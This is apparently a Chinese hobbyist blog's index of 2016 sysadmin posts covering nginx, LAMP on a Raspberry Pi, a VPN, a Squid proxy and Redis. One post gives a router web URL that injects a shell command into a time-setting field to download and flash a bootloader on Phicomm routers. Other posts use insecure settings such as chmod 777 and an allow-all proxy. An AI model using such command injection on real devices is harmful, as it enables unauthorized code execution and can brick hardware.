使用七牛CDN导致ajax评论报错{“error”:”get from image source failed: E405″}

发布于 2016-09-12

发现 因为之前路由一直想要尝试使用第三方的社会化评论框来取代WP自身的评论,但是奈何无论如何也找不到合适的选择,现在只好再次换回了自带的评论框。(好吧反正也没人会来评论。) 但是换回自带的评论框后发现了一个问题,那就是当开启了Ajax之后无论发布什么内容的评论,都会导致{“error”:”get from image source failed: E405″}报错从而无法发布评论。 原因 经google后得到结论,根据这里的记录表明是七牛CDN的问题。当然,事实证明确实是CDN的问题,但可能并不只有七牛才会导致这样的吧,或者我们可以猜想,是CDN导致了这个问题。 原理就是CDN把你的comments-ajax.js文件给缓存走了,结果导致路径错误,这时候我们有两种选择来修复这个问题。 修改js文件让它能够支持你的CDN路径 将这个文件单独排除在CDN的镜像列表之外 解决办法 1、修改comments-ajax.js文件 这种方法的好处是你依旧可以体验完整的CDN镜像服务,你需要打开你主题目录下对应的文件然后修改它,找到如下的代码段(一般应该是在开头的) var i = 0, got = -1, len = document.getElementsByTagName('script').length; while ( i <= len && got == -1){ var js_url = document.getElementsByTagName('script')[i].src, got = js_url.indexOf('comments-ajax.js'); i++ ; } 然后就在代码后边加入这样一句话 js_url = js_url.replace('cdn.moenyi.cn','www.moenyi.cn'); 这样,修改完成后应该是下边的样子 var i = 0, got = -1, len = document.getElementsByTagName('script').length; while ( i <= len ...


简单设置 nginx 反代理

发布于 2016-09-08

只有一个公网IP,又不想实用其他端口   nginx 修改安装目录下 /conf/nginx.conf   在最后一个括号 } 前添加 include vhosts.conf;   然后在目录中新建vhosts.conf server { listen 80; server_name 改成域名; charset utf8; location / { proxy_pass http://改成需要代理的域名或ip:80; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; } }   保存 重启nginx    


博客艰难的搬迁旅程

发布于 2016-09-02

因为喜欢所以折腾、挖出那只一直在积灰树莓派 于是就开始的折腾,之前也有过一个大转移,现在回过来看看那时候用的都是免费主机或是空间什么的基本都在国外,访问速度巨慢巨慢,因为兴趣不厌其烦的捣腾,记得那时候上传源码那一个叫痛苦啊,一个7~8兆的wp 上传了5~6个小时。中途用过比较稳定是还是  红帽openshift最好了,至今还健在(www2.moenyi.cn),虽然慢了点,但是作为免费的已经很好了。 在后来买了域名,买了阿里的虚拟云主机,买了才发现买错了、、、、   虚拟主机不是vps,好吧,既然都买了那就凑合一下把,用了emlog博客程序,用到了现在(img.moenyi.cn),两年不到一点,emlog万年不更新 让我很不爽于是又回到了wordpress的怀抱 。 年前买的树莓派本来想搭建迅雷赚钱宝云监工的,后来和小伙伴买了腾讯服务器搭建的(http://myzqb.cn/)然后就一直吃灰到最近,拿出来捣腾一下,把博客也运行在里面,接上一篇文章写的 搭建了web环境 开启了新的篇章。


树莓派(Raspberry Pi)搭建简单的lamp服务

发布于 2016-09-01

树莓派(Raspberry Pi)搭建简单的lamp服务 首先改一下源地址 编辑 /etc/apt/sources.list 删除原有的内容或者用#注释掉原来的源,添加下方的源内容。 源如下: deb http://mirrors.aliyun.com/raspbian/raspbian/ wheezy main non-free contrib deb-src http://mirrors.aliyun.com/raspbian/raspbian/ wheezy main non-free contrib 1. LAMP 的安装 sudo apt-get install apache2 mysql-server mysql-client php5 php5-gd php5-mysql 根据实际需要,选择性的安装php的各类功能模块(具体请自行百度) apt-get install php-pear php5-dev php5-curl apt-get install php5-gd php5-intl php5-imagick apt-get install php5-imap php5-mcrypt php5-memcache apt-get install php5-ming php5-ps php5-pspell apt-get install php5-recode php5-snmp php5-sqlite apt-get install php5-tidy php5-xmlrpc php5-xsl 安装mysql、apache、php sudo chmod 777 /var/www/ chown -R www-data /var/www/(后来重装以后发现没有给这个 www-data 用户设置权限导致一些很麻烦的事情)   ?设置web目录的权限 2. phpmyadmin 安装 ...


斐讯k1,k1s,k2新版固件 免拆机免TTL 开启telnet 一键刷breed 无需下载任何工具 超简单

发布于 2016-06-21

1:路由器能正常上网,登陆进路由器 (默认密码admin)2:用浏览器打开这个网址,如果默认ip不是192.168.2.1修改一下 http://192.168.2.1/goform/gra_NTPSyncWithLocal?text_year="2016|`if wget -O /tmp/breed.bin http://breed.hackpascal.net/breed-mt7620-phicomm-psg1208.bin;then mtd_write write /tmp/breed.bin Bootloader;echo breed ok! >/etc_ro/web/index.asp;fi`" 复制代码 什么?上面的网址都不会复制?那么点击这个链接或者扫描二维码总会吧!http://t.im/breedk(reset1是通用的,满足强迫症换成了专用版,http://t.im/breed这个链接也可以)192.168.22.1 纯手机操作演示完成!就是这么简单!无需开启telnet !  免拆机!免TTL! 无需下载任何工具!只用手机都可以!breed就刷好了!点完以后重新登陆路由 会显示breed ok! 就证明刷breed成功了,重启随意刷机吧!转载请注明!谢谢!breed帖子http://www.right.com.cn/forum/thread-161906-1-1.html


SoftEther VPN——Linux下搭建VPN

发布于 2016-05-05

一、服务器端配置 1.操作系统及软件要求 1)操作系统要求 根据官网介绍,虽然SoftEther VPN Server只要Linux内核版本在2.4及以上就可以运行,但是官方推荐使用如下三个Linux发行版: Red Hat Enterprise Linux Fedora CentOS 2)软件和库的要求 在安装之前,需要安装以下软件和库(其实不用人工检查,安装前检查在检测到缺少依赖时会提示的): gcc software binutils software tar, gzip or other software for extracting package files chkconfig system utility cat, cp or other basic file operation utility EUC-JP, UTF-8 or other code page table for use in a Japanese language environment libc (glibc) library zlib library openssl library readline library ncurses library pthread library ...


树莓派3 centos7 安装squid 透明代理

发布于 2016-04-28

先关闭防火墙,不知道为什么我的不管防火墙不行所以直接关闭,反正在内网 systemctl stop firewalld.service #停止firewall systemctl disable firewalld.service #禁止firewall开机启动 安装 yum install squid rpm -qa | grep squid squid-3.3.8-12.el7_0.x86_64 配置 修改squid的配置文件 /etc/squid/squid.conf 主要就是配置一下端口,缓存,日志和访问规则。 http_port 3712 cache_mem 64 MB maximum_object_size 4 MB cache_dir ufs /var/spool/squid 100 16 256 access_log /var/log/squid/access.log http_access allow all visible_hostname squid.chao 初始化 在第一次启动之前或者修改了cache路径之后,需要重新初始化cache目录。 squid -z 启动 systemctl start squid 使用 在浏览器中修改代理配置即可。 在windows中: Internet选项 -> 连接 -> 局域网连接 -> 代理服务器 在macOSX中: Safari -> 偏好设置 -> ...


安装speedtest-cli

发布于 2016-04-23

安装speedtest-cli speedtest-cli是一个用Python编写的轻量级Linux命令行工具,在Python2.4至3.4版本下均可运行。它基于Speedtest.net的基础架构来测量网络的上/下行速率。安装speedtest-cli很简单??只需要下载其Python脚本文件。 $ wget https://raw.github.com/sivel/speedtest-cli/master/speedtest_cli.py $ chmod a+rx speedtest_cli.py $ sudo mv speedtest_cli.py /usr/local/bin/speedtest-cli $ sudo chown root:root /usr/local/bin/speedtest-cli 使用speedtest-cli测试网速 使用speedtest-cli命令也很简单,它不需要任何参数即可工作。 $ speedtest-cli 输入这个命令后,它会自动发现离你最近的Speedtest.net服务器(地理距离),然后打印出测试的网络上/下行速率。 如果你愿意分享测试结果,你可以使用参数“?share”。它将会把你的测试结果上传到Speedtest.net服务器并以图形的方式分享给其他人。


ubuntu 卸载/安装 redis

发布于 2016-02-18

ubuntu 卸载redis 1. 卸载软件 apt-get remove redis 2. 清除配置 apt-get remove --purge redis 3. 删除残留文件 find / -name redis --一般设置如下 rm -rf var/lib/redis/ rm -rf /var/log/redis rm -rf /etc/redis/ rm -rf /usr/bin/redis-*   ubuntu 安装redis 0.0 初始化文件件 mkdir /usr/local/redis mkdir /etc/redis   1. 下载安装文件 wget http://redis.googlecode.com/files/redis-2.6.14.tar.gz 2. 解压 tar xzf redis-2.6.14.tar.gz  3. copy文件 cp -r redis-2.6.14/* /usr/local/redis/ 4. ls查看 ls /usr/local/redis/ --0-RELEASENOTES  BUGS  CONTRIBUTING  COPYING ...


迅雷赚钱宝 云监工 邀请码有需自取

发布于 2016-02-13

迅雷发布旗下的首款智能硬件产品??“赚钱宝”,顾名思义,“赚钱宝”是一款能够帮助用户赚钱的硬件产品,而这款路由器配件的产品逻辑也非常简单,用户只需将赚钱宝插到自家的路由器上,迅雷就会将其闲置的带宽资源收集起来,随后该平台会依据用户贡献的闲置带宽和流量的多少将对应的收益返还给用户,从而实现闲置带宽变现。 于是就有了云监工,监空赚钱宝工作挖矿,只要通过网页就可以监控,不必再下载客户端、APP 直接可用过网页访问,还提供数据分析功能 云监工-提供最优美的界面.提供最方便的监控方式.我是迅雷矿场云端监控大师. http://myzqb.cn    已开放注册 http://xlzqb.cc      备用域名